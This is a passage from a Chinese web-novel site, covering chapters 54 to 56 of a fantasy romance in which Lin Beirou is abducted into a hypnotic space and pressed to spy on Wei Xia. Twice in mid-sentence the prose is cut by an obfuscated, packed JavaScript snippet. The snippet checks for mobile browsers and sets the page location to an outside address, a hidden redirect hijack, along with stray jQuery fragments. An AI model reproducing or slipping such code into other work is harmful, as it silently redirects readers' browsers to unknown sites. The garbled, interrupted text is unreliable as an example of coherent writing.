能和灵脉共鸣的魏瑕,首当其冲,总有人能搞到他的八字生辰。 就算世家有各种防御手段,也不可能这么主动挑衅。 除非魏瑕疯了,变成一个自毁毁他的疯子。 孙芮晗大脑信息流过载:“你说的对,不可能是魏瑕。” 周阆屿一个大倒车,车子粗暴停在了路边,打开车门就下去了,孙芮晗匆匆跟了上去,进了前面几十步路的居民小区。 - 林北柔此时只有一个念头,魏瑕是不是司空晏? 如果是,那她全盘皆输。 老妈都落在别人手上了,还能说什么。 司空晏何必兜一大圈子跟她演戏,依照他的性子,他应该会在那个山洞里就把所有人弄死。 取人性命对司空晏来说,就跟摘花飞叶一样正常。 那阴间祖宗说,反正人都沾染各种业力,污秽不堪,他手动超度了他们,倒也算消了他们的业障,让这些东西干净上路。 等等,魏瑕是不是说他身上有封印来着? 林北柔冷汗唰一下下来了,整个背都冷飕飕。 假如魏瑕真是司空晏,他说要把一半封印过到她身上,打的是什么主意? “我这边准备好了,你考虑好了吗?”魏瑕从房间里出来,表情平平淡淡的,正常得不能再正常。 林北柔突然想起一件难以启齿的事。 她和司空晏身体上和精神上的连接都曾经突破耻度,要是刚才魏瑕在中了那种手段时,就和她发生关系,美色当头,林北柔大概率也不会拒绝。 司空晏在她元神里留下过一丝东西,她不知道那是什么,一旦发生关系,那一丝东西就会被重新激活,司空晏可以支配她的肉身到灵魂。 那祖宗记仇至死,连几百年前骂了他一句的人也没放过一点,被他做成了牵丝傀儡,还说这样有利于他的道心。 用现在的话来说,那祖宗大概杀了人就念头通达了吧。 林北柔死遁后,祖宗肯定意识到他被骗了,从那一刻起,他们变成了仇人。 如果魏瑕是司空晏,他肯定不会错过那个机会,但魏瑕的反应却完全是个有基本良知的正常人。 除了长得像,可以说魏瑕给她感觉从头到尾和司空晏搭不上关系。 要是魏瑕不长这样,林北柔压根不会把他们联系在一起。 魏瑕看出林北柔在走神:“发生什么事了吗?” 林北柔慢慢地说:“没有,我考虑好了,我不想要那个封印,一半也不行。” 说完,她紧盯魏瑕反应。 魏瑕:“嗯,那就算了。” 林北柔:? 她本来如临大敌神经紧绷成弦了,结果魏瑕来了一句算了,林北柔觉得不敢相信:“你确定?” 魏瑕不就是因为她也被灵脉接纳了,可以被过渡一半封印才保她的,现在又说算了? 魏瑕抬起眼皮:“我不喜欢强迫别人,还是你觉得可以接受封印。” 林北柔找了个借口:“我就是在想,你的力量被封印压制,待会他们来了,你打不过怎么办?” 门铃响了。 魏瑕和林北柔同时看向门口,林北柔心口一紧。 如果他们今天抓走了她,抓走了魏瑕,她要怎么脱身? 魏瑕平淡道:“不是他们,他们内部有决议流程,见到我们怎么谈判,谈判失败怎么行动,都要批示,现在门外只有两个人。” 他走向门边,直接拉开锁打开了门。 门外站着两个人,一男一女,表情各不相同,男方就站在门口,女方拉开了一大段距离。 周阆屿目光越过魏瑕,落在了林北柔身上,跨步就要进去,却像被无形的路障挡了一下,退后半步,看向魏瑕。 魏瑕没有反应。 周阆屿:“林北柔跟我走,我可以保证她的安全,她跟你一起,他们会把她当成你的同伙。” 气氛隐隐尖锐,魏瑕侧身看向林北柔:“你想留下来,还是跟他们走?” 林北柔总觉得真要到打架的时候,魏瑕一个人就能压制全场,就算他身上有封印。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12730288|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道? 周阆屿:“……魏总,你知道这件事吗?” 魏瑕早已出来了,静静站在旁边。 林北柔也迷茫地转向魏瑕,她抱着兔子,兔子窝在她臂弯里团成一团奓毛的球,因为放松变得扁扁的,不肯长时间待在篮子里,一定要贴着林北柔。 林北柔:“不对吧,那个时候魏总应该是未成年?” 就算这样,也未免太巧了。 魏瑕拿起保修卡看了会儿,尽管失忆了,他依然百分百确定一件事,他的印象中,公司并没有去林北柔家中安装过净水装置。 魏瑕:“我可以看看装置吗?” 林北柔:“在厨房那边,接饮用水的水龙头管道上。” 魏瑕过去看了,果然看到了隐蔽的装置,这种装置净化的不是普通人眼中的污染物,而是一种灵脉污染,污染过的水,会有淡紫色的光,只有少数修行者才能看见。 林北柔家中出来的饮用水,是透明的,没有淡紫色。 周阆屿在旁边,面无表情地看魏瑕查看装置。 他看得一清二楚,装置上有一枚隐蔽的符文。 那是魏家创造的符文。 周阆屿慢慢说:“你们魏家……你们公司,为什么会专门找到林北柔家里?” 魏瑕没说话。 他很清楚,他们公司,是不可能专门去单独一户普通人家里安装净水装置的。 就在刚才,魏瑕想了起来。 魏家世代擅长净化,并掌握了一些密不外传的净化法门。 魏瑕和组织合作,专门大规模净化位于灵脉节点附近污染最严重的自来水源,保证附近居民喝到的是不受灵脉污染的水。 一旦居民长期引用受到灵脉污染的水,身上的业力效应会放大,更容易引发“偶然”事件,反过来加重灵脉污染,形成恶性循环。 超过污染阈值,当地就会爆发天灾人祸,譬如地震洪涝,或者是瘟疫。 严重者可以影响到整个境内。 而灵脉节点附近,大多是一些超级豪华的别墅之类,要么就是占据风水宝地的高端楼盘,山林湖泊附近居多。 所以魏瑕公司的客户群,才会看似是一些超级有钱人。 近两年来,灵脉污染越发严重,一些普通人社区也受到了影响,魏家的公司才逐渐拓宽了业务,要净化的区域太广大了,组织和其他部门合作,这才启动了政企合作的项目,内部招标只是一种说法,实际上这些中标的,全部是魏家的子公司,方便魏家以公开名义,进行有史以来规模最大的净化。 魏家根本不可能在十年前就跑来一户普通人家家里,安装了藏有魏家秘传符文的装置。 除非,是受到什么人的指示,除非是有人提前知道,假如不在林北柔家里装净化装置,就会发生一些事。 周阆屿找了个借口,让林北柔先去休息会儿,然后单独把魏瑕叫到了阳台那边。 周阆屿:“你是不是知道什么?” 魏瑕:“你指什么。” 周阆屿:“照片,还有出生证明,还有净水装置这个东西,怎么解释?” 魏瑕:“我不知道。” 话音未落,周阆屿出手了,他不是真的要问魏瑕,他想把出生证明抢过来。 外面传来一声巨大的音爆。 普通人听不到,修行者能听见。 魏瑕的精神体瞬间感知不到林北柔了。 周阆屿仅仅迟了一秒,也发现了不对,他收回攻击,和魏瑕同时冲向卧室。 卧室空空荡荡的,飘窗大开,林北柔家在电梯公寓中低层,卧室阳台朝向僻静的公园,下面是小区的绿化带,围墙,然后是公园的树林。 不知何时,外面天色暗了下来,远处暴风雨在云团中聚集,地面起风了,树冠被吹得呼啦作响。 林北柔和精神体都不见了。 魏瑕闻了闻空气:“是那个姓莫的。” 周阆屿转向他:“莫衡?!” 魏瑕:“他绑了林北柔。” 周阆屿听了酝起修为,直接翻下窗台,从空调外机上挨个往下跳,直到跳到了地面,朝某个方向追去。 有个东西从他口袋里掉了下来,落在阳台地面,无人察觉。 魏瑕感觉到精神体处于一个被屏蔽的空间里,很明显,对方有备而来,带了某种法宝级别的法器。 魏瑕眉眼阴沉欲滴,就像此时的天空。 莫衡的举动十分反常,他没有理由忽然对林北柔搞袭击。 除非,时间回溯造成的涟漪效应也影响到了他,他可能多了某些不存在的记忆碎片,记得上条时间线,林北柔能力忽然失控,记得是魏瑕杀死了他。 莫衡选了一个最好的偷袭时机,林北柔一旦跟周阆屿回向光山,就会进入向光山结界,一旦跟魏瑕去魏家,也会进入魏家结界。 在林北柔家里这种普通人的地方,才能得手。 魏瑕跨出窗台,刹那不见了人影。 外面风向是朝室内吹的,他口袋里那张出生证明被吹了出来,落在周阆屿掉落的相片旁边。 54. 第 54 章 林北柔只感觉到后脑勺一沉,就像被强制入眠一样,大脑主机被拔掉了电源,嗡一下什么都不知道了。 再醒来的时候,她在一个白色的房间。 这个房间不正常,像电影里才会出现的那种,墙壁天花板地板都是白色,没有窗户,中间只有一把金属椅子,她坐在椅子上,手腕向后被绑在了椅子上。 林北柔心神一下子悬起,紧接着意识到一件事,她能重新看见了?! 旁边响起明确的脚步声,有人从后面慢慢绕到了她前面。 林北柔看着对方的脸,露出难以置信的表情:“你?” 她挣扎了起来,沉声说:“这是哪?” 短时间之内,又是忽然失明,又是莫名其妙被抓,林北柔确定她失忆前忘了特别重要的东西。 莫衡以一种审视异物的目光,慢慢打量着林北柔。 他记得他之前死了。 他在战场上也有过数次濒死体验,没有一次像这样,是真的跨越了死亡那条线。 死过一次的人,心态上会发生翻天覆地的变化。 何况是莫衡这样自认早就不正常的人。 他调查过林北柔,他知道林北柔的全部经历。 之前,他说那些难听的话刺激林北柔,也有故意的成分。 莫衡看着林北柔:“你哪里都没去,身体也很安全,这是我构建的催眠空间,你连根头发丝也不会掉。” 林北柔瞠目结舌,莫衡的话触动了她的记忆,她隐约想起,好像自己之前确实接触过很多不普通的事件。 林北柔觉得碰上疯子了:“我哪里得罪你了?我们不是已经把钱还给你了?” 莫衡:“你母亲和我父亲认识,不是巧合,三十多年前,他们都碰巧和各自配偶在同一个风景区旅游,那个地方当时爆发了灵脉冲击,很多游客受伤了,他们各自的旅游团因为排期靠后,很幸运地没有在爆发中心。” 林北柔没有说话,盯着他。 莫衡:“灵脉冲击会对普通人的体质造成影响,很多普通人怀孕后更容易流产,也有少数人,体质扛得过去,生下的孩子精神上会产生一定程度的异变,比如,容易听见不该听见的声音,看到不该看到的画面,比如说你,比如说,我。” 林北柔目光变了,直愣愣地看着他。 莫衡:“对,我跟你一样,我也曾经有恐音症。” 林北柔:“……” 她半信半疑地看着莫衡。 莫衡:“一开始是半梦半醒,你清楚地听到声音,装修的噪音,有人在大喊陌生人的名字,这些声音的年纪和性别你都能听出来,有些是年轻女性,有些是中年男性,还有些是小孩子,声音方位也很明确,医生说这是大脑功能区一部分休眠,另外一部分过于活跃导致的,给我开了药。” 林北柔表情收敛了些,这正是她一开始的经历。 莫衡慢慢说:“吃了药,作用不大,第一阶段我还能安慰自己,只在半梦半醒的时候听到,说明确实就是大脑的问题,后来,最恐怖的,我最怕的事发生了,大白天,我在完全清醒的时候,也产生了幻听。” 林北柔看着莫衡,眼睛微微睁大。 莫衡:“幻听本身并不可怕,可怕的是,现实和虚幻的边界,在你的世界里,从此变得模糊,我和周围普通人产生了一层透明的罩子,他们无法理解我,我也理解不了他们,我一开始也是有保护罩的,后来我意识到,自己被放逐到了罩子外面,那是个未知的梦核现实。” 林北柔:“……” 她和莫衡对视,明白了他现在说的每个字都是实话。 莫衡:“我高考考砸了,在家里自闭了很久,不得不去复读,复读对我来说,更是一场噩梦。” 林北柔:“……” 他的话猝不及防说到了她心里。 林北柔去过康复小组,接触过其他恐音症患者,没有一个像她一样,会直接产生幻听,会产生幻听的那些病友,精神症状又和她不一样,和他们吃一样的药,对林北柔作用不大,医生认为林北柔不像典型的精分。 高考前被孤立过两个月,没有对林北柔心理产生太大影响,她当时幻听爆发,也不在乎人际关系了,那些人不来眼前烦她就行,背后怎么蛐蛐她,无所谓。 林北柔之所以坚持到高考结束,一大半还是不想复读。 班主任说她本来有实力考上潼大的,还为她去了临江大学惋惜,临江大学在一本院校中不算出色。 林北柔:“那后来呢?你考上大学了?” 莫衡扯了下嘴角:“没有,我考得一塌糊涂,我爸是高级知识分子,接受不了,我和家里闹翻了,离家出走,去省外打零工,睡天桥下面,差点被拐卖骗去境外噶腰子,后来被我爸在部队工作的朋友找到了,回来后,他们开始用各种办法治疗我,还尝试过电击。” 莫衡移开视线,看向虚空:“那种感觉,就是在凝视深渊,知道了那种感觉,你才发现活在现实是一件多么有意义的事,现实再苦,也不会比深渊更可怕,你这辈子不可能再安宁了,就连你的亲人也无法安慰你,就像狂风中的塑料袋,永远被刮向未知的方向。” 林北柔沉默了一瞬。 她能懂莫衡在说什么,不过她不想搞得好像他们是同类一样,林北柔不喜欢莫衡这个人。 所以她不喜欢他的“我们”的说法。 同样的经历,可能会造就同类,不会造就同道,再说,她已经上岸了。 ……不过,她当时是怎么治好了来着? 林北柔再次感到那种紧迫的空虚,仿佛她忘了至高无上重要的事情。 莫衡忽然问:“你有什么想法?” 林北柔不想跟他深谈:“家庭背景确实很有用,反正最后都帮你解决了。” 起码,莫衡被他所处的阶层牢牢托举着。 虚假的啃老,吃喝出行,家长出钱,每个月花不到几百,过着家里蹲卑微找工作的日子,真正的啃老,爹妈在一线大城市买房买车结婚生子带孙一条龙服务到底,还可以在孩子面临精神崩溃时,发动钞能力和阶级能力,直接解决问题。 莫衡没有回应她的讽刺。 莫衡:“我看了你的资料,你是十五岁开始的,持续到十八岁,三年,不长也不短,后来不知道你经历了什么,好像是治好了?我从六岁开始,一直持续到二十岁,整整十五年,搞到差点自杀,我爸才找到了能真正帮到我的人,之后,我就被组织带走了。” 林北柔脑海中自动浮出基地两个字。 奇怪,这是她之前的记忆? 林北柔脱口而出:“被带去基地了?” 莫衡并不意外地看了她一眼,就像在讲述一件和他自己无关的事:“我在基地待了几年,他们对我进行了一系列考评,然后送我去了境外,我加入了特殊部队,专门负责守卫,每次境外同盟灵脉净化行动,我们都会死很多人,那些敌方势力,认为他们在进行一场圣战,他们想毁掉我们的灵脉,为此不惜一切代价,我们这样的人,也会不惜一切代价,把敌人一个不剩地驱逐,杀死。” 他说到最后一句话,眼睛亮起了某种光和热。 那是和他提到深渊时的空洞眼神,截然相反的神情。 林北柔似乎明白了,莫衡找到了某种精神支柱。 他们这样的人,始终在找一个精神平衡支点,否则不是发疯就是死。 林北柔找到了,虽然她暂时想不起来是什么。 看起来莫衡也找到了。 不过肯定和她的大相径庭。 林北柔:“……这跟你把我绑到这里来,有什么关系?” 莫衡:“当然有关系,我参加过几次大的行动,每次都见到了那个叫魏瑕的人,传说中的一号,而你,是除了那个宁西雍之外,第二个能接近他的人。” 林北柔一脸茫然,不知道他在说什么。 莫衡知道林北柔暂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12730289|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时性失忆了,也没说多余的,直接进入重点:“我想请你帮忙,帮我证明一件事。” 林北柔警惕起来,表面不动声色,一脸莫名:“什么?” 莫衡慢慢说:“帮我证明,他才是导致一切灵脉污染的元凶。” 林北柔:“……” 林北柔茫然:“你说魏总吗。” 她这会不是装的,她是根本没理解莫衡在说什么。 莫衡摇了摇头:“我们之所以差点疯掉,听到看到那些东西,是因为灵脉被污染了,灵脉之所以被污染,是因为有人故意想让它们被污染,这次高层被渗透,灵脉结界层差一点被全面毁掉,魏瑕一次性洗清了全部嫌疑,还立了功。” 林北柔怀疑不是自己智商就是对方智商不对劲:“……这不是说明他没问题吗?” 莫衡:“不对。” 他靠近过来,倾下身和林北柔平视,两只手放在了她椅子扶手上,林北柔不得不后仰,避开他近距离的凝视。 这个人真的不正常,林北柔只想快点脱困。 莫衡观察着她的眼神,松开手,直起了身体,退开几步:“组织和他维持了一个平衡点,他身上戴了个造价七千亿的抑制器,他用灵脉共鸣,帮组织净化灵脉,天下灵脉其实是一个相连的网,他不但净化境内的,也净化境外同盟地区的,不断立功,赢得威望,很多年轻人暗地都敬畏他,信仰他,这就是赢得了人心,你之前被那个谢轻眠袭击过,她只不过是其中一个信徒,比她狂热的大有人在,你只是没见过,谢轻眠跟他们比都算好的,他们要是见到你,可能会想要你命。” 林北柔:“……” 谢轻眠,好像有点耳熟的名字,游乐园,人群,幻觉碎片,许多东西混乱闪过,林北柔太阳穴抽了抽。 莫衡:“赢得了人心,就有了谈判条件,组织在生活层面给与他最大的自由,他把魏家的家业也接手了过去,年纪轻轻,就斗倒了那几个老狐狸,亲手控制了境内最大也是最隐形的公司,境内灵脉净化几乎全部是他公司在完成,除了随时可能被引爆抑制器丧命,他获得了最大范围内的自由和权力,组织甚至撤销了对他生活上的监视。” 林北柔:“……” 莫衡:“但是,有一个最重要的权力,他始终得不到。” 林北柔终于忍不住被勾起了好奇:“什么?” 莫衡看着她,就像看一只终于被罐头吸引出来的猫咪,抬起眉眼:“组织的最高决策单位,也就是太微垣,始终是一票否决制,只要有一个人反对,魏瑕就不可能参与女娲补天计划,还有不周山计划。” 林北柔:“啥?” 作为一个喜欢看各种阴谋论帖子的老百姓,她对这种高大上的字眼格外敏感。 莫衡:“具体什么你不用了解,你只要知道,这是组织分别对内、对外的决策就行,进入这两个计划的核心权力层,就可以直接接触到现世的所有灵脉节点,如果你是达到支配境界的灵脉共鸣者,你甚至可以在这些节点之间,任意穿行,知道那意味着什么吗?” 林北柔摇头,老实得就像一个小学生。 莫衡:“……” 他扶了扶额,放下手,居高临下望着林北柔:“那样,你就有了绝对统御现世一切灵脉的权力,只要你想,一念之间,你可以净化全部灵脉,也可以污染全部灵脉,这就是为什么境外那些敌对势力,这么想要杀死对立方的灵脉共鸣者,每一个灵脉共鸣者,都有这个潜能。” 林北柔微微睁大眼睛:“统治地球上所有灵脉的潜能?” 莫衡望着她:“境外的人把这种灵脉共鸣者,叫做王,或者群星之主,他们的称呼沿袭自我们,是从我们这儿翻译过去的,一开始是我们研究推演出的理论,准确讲,是孙家为首的苔痕院研究出来的,理论上,我们把这样的灵脉共鸣者,称作紫宸君。” 林北柔愣愣地听着,胸口有什么东西,在渐渐发酵,好像一个棉花云一样膨胀起来。 55. 第 55 章 《被我渣过的阴间男主反穿开盒了》全本免费阅读 莫衡说:“现在明白了么,他看似处处被动,实际上最终结果却有利于他,高层换血,太微垣重组,一直投否决票的代表被撤职,现在上去的人,全部都是赞成让魏瑕加入核心计划的。” 林北柔:“……我只是个普通人,帮不了你,刚才魏总把我开除了,我以后就不在他那边了。” 莫衡根本不听她在说什么:“你见过这个东西吗?” 他伸出手,手中凭空勾勒出一枚硬币,硬币缓缓旋转,像是一枚古币。 林北柔太阳穴猛地一抽,眼前画面纷乱,脑海中骤然浮现出好几段记忆。 黑色的房间,门口上方悬挂的古币,古币上的山字和星纹。 穿涉于异国沙漠的年轻人,古币在他手背上站立,源源不断吸纳着黑色的烟雾,周围是战火遗留的废墟和鲜血。 异国与华夏境内祖脉同系的灵脉,缓慢地得以净化。 游乐园,一个失去亲人的女孩用一枚似乎是仿造的古币,放大了业果效应,害死她亲人的男性倒在了地上,人没死,这辈子却废了,比死更难受。 女孩的记忆闪现于林北柔脑海,给她那枚仿造古币的老人,自称是找到了救赎,还有其他很多仿造古币,流传在不为人知的角落。 镜头拉远,这些古币之间互相连接,业果效应不断增强,有怨报怨,有仇报仇,法律无法伸张的正义,就交给因果天道来裁决。 本来怨念滋生的污染,都被净化了,细碎的金光汇聚到古币上,那是被修行者看作功德的东西。 然而却产生了更多的污染。 有人死,有人生不如死,就会产生大量污染。 这些污染却神秘地消失了,似乎是被转移到了其他地方。 净化污染,同时增强另一种污染,再收走它们。 莫衡看着林北柔变幻莫测的脸色,已不需要答案:“你见过,果然,我的猜测没有错,现在你就是罪证证人了。” 林北柔否认:“我根本不知道你在说什么,你快点放我走。” 莫衡:“魏瑕的境外任务结束之后,那枚法器就上缴了,我一直怀疑魏瑕交上去的法器是假的,真的法器还在他手里,你见过,说明他确实私藏了法器,污染本质上也是一种资源,这样的资源归属上方,那枚法器可以储存、移动、控制污染,你说,他要这个来干什么。” 林北柔只想快速脱身,开始已读乱回:“那么多凶手犯下死有余辜的罪,有些人逍遥法外,有些人只坐牢几年,那些受害人摆脱了内心的创伤,从此可以放下过新的人生了,这不好吗?挺好的啊我觉得。” 莫衡抱起手臂,静静看着她:“你的想法很危险,如果人人都像你这么想,社会就不存在秩序,没有秩序,就不会赢得资源竞争。” 林北柔:“我什么都不知道,不记得了,你还是放了我吧。” 莫衡:“他们找不到你的位置,我们有的是时间,你去接近魏瑕,找到那个法器,你可以的。” 林北柔:“……”她现在是真的很烦这个莫衡了,她现在要怎么脱身? 周阆屿和魏瑕发现她不见了,肯定过来找她了,过了这一会儿还没找到,很可能是这里时间流速和现实不同。 她现在能做的,只有拖时间。 莫衡:“为什么不说话?” 林北柔:“……我跟你是八竿子打不着关系的陌生人,我巴不得我妈快点跟你爸分手,我讨厌我妈谈恋爱,讨厌亲戚聚会,讨厌饭局,你一上来跟我说这么多莫名其妙的,还命令我,我只会更讨厌你,想到你爸和我妈谈恋爱,我看到你的脸就尴尬,我不想跟你讲话,也不想跟你接触。” 莫衡的脸色一点点变得难看。 他沉沉地盯着林北柔,忽然笑了一声:“如果不是他们说你就是‘四号’,你以为我会找上你吗?不要觉得自己长得很好看,就很特别。” 林北柔不知道他在说什么,四号又是什么意思,一脸冷漠无动于衷。 魏瑕开除了她,却帮她还了钱,在她这里算三分吧。 莫衡,整个一不知所谓,负分。 莫衡观察着林北柔的表情,不知道是不是读懂了林北柔对他的印象。 莫衡:“他们带我去做灵力波峰测定时,说我是继魏瑕之后第二个灵脉共鸣者,我也曾经成功和灵脉共鸣过,很可惜,在一次出任务时,我们遇到了敌袭,他们用某种东西污染了我们,之后我失去了共鸣能力,只能当一名护卫,如果不是那次事件,四号其实是我,最奇怪的是,后来我看到了一份文件,原来上方是想让我作为灵脉共鸣者,参与进核心计划里的,魏瑕只能当一把锋利趁手的工具。” 林北柔懂了他的意思,这个人怀疑是魏瑕动了手脚,和敌人勾结,害他能力被废。 莫衡的眼神渐渐变得尖利:“我从来没体验过纯度那么高的污染,要不是基地训练打下的底子,我连命都没了,看。” 他脱掉了T恤,直接转过去给林北柔展示他后背。 林北柔不想看却只能被迫看清了他背上纵横交错的黑色痕迹,就像墨染上去的一样,这些痕迹从后背一路延伸到手腕。 林北柔皱了皱眉,她怎么记得之前见到莫衡,他手臂好像没有这些。 莫衡:“因为这些污染,是直接作用在元神上面的,身体上看不出来。” 林北柔:“……” 莫衡穿回了T恤,恢复成从容的神色:“现在你知道,为什么我怀疑魏瑕私藏了那一枚法器吧?” 林北柔:“我跟魏总没有仇,凭什么要帮你?” 莫衡眉毛往上挑了一些:“不会吧,你居然不知道?要不是他们魏家当年判断失误,那次灵脉脉冲就不会爆发,我和你都会是健康的普通人,你不会受到折磨,不会对声音恐惧,事后魏家担责,列了一个名单,名单上包括幸存的普通人,只要在名单上,就会受到援助,有这种提前援助,起码我和你不会长期忍受折磨,我们会被监护起来,早点送到基地,你猜是谁把名单销毁了?” 林北柔:“……你想说是魏瑕?” 她不会站在莫衡那边,但直觉告诉她,莫衡说的是实话。 倘若她曾有机会得救,而有个人把这个机会毁掉了,那感觉很难用语言说清楚。 莫衡:“他一开始指名你去他身边工作,你觉得他看起来像缺助理吗?你的能力,能和宁西雍媲美?宁西雍不止是特助那么简单,他的关系能直达太微垣,你算什么,魏瑕选你,只有一个理由,他知道你会成为四号,他想控制你,销毁你的能力,确保你不会影响他的计划。” 林北柔你答应帮我,我就告诉你怎么彻底治好恐音,永不复发。” 林北柔慢慢抬眼:“你治好了?” 莫衡笑了笑:“不然我为什么要跟你谈条件。” 林北柔思考了三秒钟。 她失忆了。 她其实也才认识魏瑕不久,魏瑕仅仅是她领导而已。 她欠魏瑕的人情,该还会还清,目前他们之间还是一码归一码。 莫衡突然开口:“是不是只要我有办法让两个长辈分手,你对我的印象分就会上去一点,会更愿意合作?” 林北柔皱了皱眉,不好回答这个问题。 林北柔:“你先说你怎么履约。” 空间猛然摇晃,仿佛地震一样,接着整个天花板裂开了,林北柔目瞪口呆抬起头,白色的天花板裂开后,显出一片黑色虚空,虚空上,一只巨大的垂耳兔正低头看着他们,圆溜溜的黑眼睛比虚空更加虚无,林北柔看到它瞳眸中倒映出了自己一脸懵圈的样子。 那只兔子抬爪按下,不是冲着林北柔,是冲着莫衡去的,莫衡是靠认主法器撑起这片意识空间的,法器被破,他当场吐了口血,眼看毛绒绒的兔爪要把他一掌拍扁,莫衡眼睛一闪,掐了个指诀,身影成雪花虚闪了几下,勉强逃脱消失了。 垂耳兔鼻子抽抽,把墙壁全部扫倒,低头伏在林北柔面前,明显是在邀请林北柔骑它脑袋上,林北柔这才发现自己手不知道什么时候松绑了,她感觉自己好像做梦一样,要么就是她疯了,怎么随便捡到的兔兔,都不是普通家养宠物兔啊。 林北柔走到兔脑袋旁边,试探着挼了挼它的脸,兔子的眼睫毛长长的,翘翘的,有点梦幻,总感觉有点卖萌嫌疑,它转过来轻轻蹭了蹭林北柔,鼻子把她往身上拱,林北柔顺势抓住它的耳朵爬到了它的背上,一上去就感到一股强大的吸附力,将她固定在它身上,不需要她专门去抓住它的毛。 林北柔:“你到底是什么来历,该不会是嫦娥的玉兔吧。” 垂耳兔一个弹跳冲破了虚空,某个瞬间,林北柔好像看到兔子身上笼罩着 56. 第 56 章 警报声响了。 宁西雍从监视器上一下子看到了那三辆黑车。 他表情变化不大,拉拉手腕,松了松筋骨,不主动让魏总恢复记忆,假意接受孙和铃提议,顺坡下驴让魏总装普通人装一段时间,就是为了钓出这些东西。 现在对方终于忍不住了。 宁西雍打通了车载电话:“魏总,现在有这个情况。” 魏瑕之前沉浸在精神体和林北柔的连接这件事上,听了宁西雍这样说,才发现后面有人跟踪。 周阆屿的家不在市中心,驶出去之后是一条很宽的车流很少的公路。 魏瑕没有理会,直接提速,跑车如幽灵一样闪了出去,这样的速度,后面三辆车很快被甩到了后面。 宁西雍已经记住了对方的车牌号,正在查询。 魏瑕:“你刚刚说他们是什么人?” 宁西雍觉得不再有隐瞒必要,三言两语把魏瑕失忆前涉及的组织内部势力纷争说了一遍。 宁西雍:“高层被渗透这件事很严重,组织内部长久以来早已分裂成两派,一派是化劫派,主张和当局同进退,一起守护境内灵脉,以净化境内灵脉为主,其次是净化境外同盟的灵脉,不和敌对势力合作;另一派是应劫派,他们和境外达成了一致协议,认为应该融合全域灵脉,不分文化、不分边界地管理灵脉,让人类共同受益,彻底脱离各地区当局,他们不愿意先净化境内灵脉,而是提出要去极地冰川下找到灵脉之根,优先净化两极灵脉根。” 魏瑕:“现在当权的是哪一派?” 宁西雍:“起码表面看来,我们的人,也就是化劫派的人,占据了上风,三垣一门,两会一院,四部十二局,因为高层通敌全部换血,我们怀疑这些也都是应劫派早就准备好的第一层障眼法,实际上他们还潜伏在化劫派这边,一直监视着你,伺机而动,你失忆了这件事,组织是保密的,内奸肯定会泄密,他们认为你失忆期间是最好的下手时机。” 魏瑕突然问:“他们会对林北柔下手吗?” 宁西雍听了怔了怔,他没想到魏瑕会突然问起林北柔,尽管有些困惑,他还是照实回答了:“他们的注意力全部在你身上,林助理虽然被称为四号,却没有和灵脉共鸣的能力,再加上目前他们在全力搜寻能支配龙灵的六号,应该不会对林助理动手。” 犹豫了下,宁西雍又问:“魏总,你为什么要让林助理离职?她待在我们这边,其实比待在周阆屿那边安全。” 魏瑕沉默了几秒,无悲无喜地说:“你不觉得,林北柔身上,有点邪性?” 宁西雍:“这话怎么讲?”他有点茫然,在他看来,林北柔就是个普普通通的年轻人,还是个心底善良的好孩子。 魏瑕:“她身上有一种像是漩涡一样的引力……算了。” 魏瑕不知道从何解释,也不太想让外人知道他内心的一些想法和情绪,尽管他自己都不知道那是什么情绪。 不管是什么,总之那都是之前那个人格的事,与他无关。 问题就在于,怎么把精神体和林北柔的连接切断。 魏瑕总感觉,他忘了一件十分重要的事。 这件事可能和林北柔有关,并非是之前那个人格和林北柔之间乱七八糟的关系,而是为什么他之所以苏醒,之所以出现在这个地方,他还有未完成的事。 宁西雍听了之后按照自己的理解想了想,恍然大悟。 他这段时间早就看出了魏总对林助理的在意,宁西雍阅历在那里,他理解为年纪相仿又外表般配的年轻人互相吸引,林助理可能还未开窍,而魏总小时候没有正常长大,经历特殊,面对自己内心不受理性控制的普通人的情感,第一反应是否认和无视。 宁西雍善解人意地说:“魏总是觉得林助理如果是现在的职位,天天在眼前,心里不太自在?其实不用让林助理离职,只需要把人调到我这边就行了。” 魏瑕这才发现他没想到调职这一个办法。 他之前好像一心沉浸在精神体和林北柔的连接中,只想切断这种连接。 魏瑕揉了揉眉心,一股淡淡的烦躁升上心头,第一次对自己的决策有一种事后差评的不满。 魏瑕:“你盯着点那个莫衡,看看他是什么路数,是哪边的人。” 宁西雍:“和魏总你同在北落师门的那个莫少校?为什么会问起他?” 魏瑕:“他刚才劫走了林北柔。” 魏瑕讲到一半,忽然听到外面传来一声响动,类似天边的雷声,也像空气爆破声。 魏瑕立即意识到了不对劲。 他和宁西雍的通话刹那中断,车载电话失去了信号,前方出现了一辆黑色越野车,正是带头追逐他的那辆。 同时,后面两辆车悄无声息缀了上来,形成前后夹击。 左右两边车道外不再是正常风景,而是一片灰蒙蒙,贸然将车开进去,大概率会落入陷阱。 所以是动用了类似结界的东西? 魏瑕从后视镜看向后座,精神体翕动着小鼻子,抬着脑袋,聚精会神望向车窗外。 魏瑕:“这时候就不用装了,你不去对付他们吗?” 精神体看了他一眼,懒洋洋地趴了下去,无动于衷,连原形都没恢复。 魏瑕:“……你觉得之前那个人才是你,我不是,我的死活与你无关。” 他不再管后座那只毛团,直接放慢车速,停了车。 周围那三辆车也停了下来。 - 周阆屿:“眼睛现在怎么样?” 林北柔:“好像没有一开始那么黑了,可能对光的感觉在恢复。” 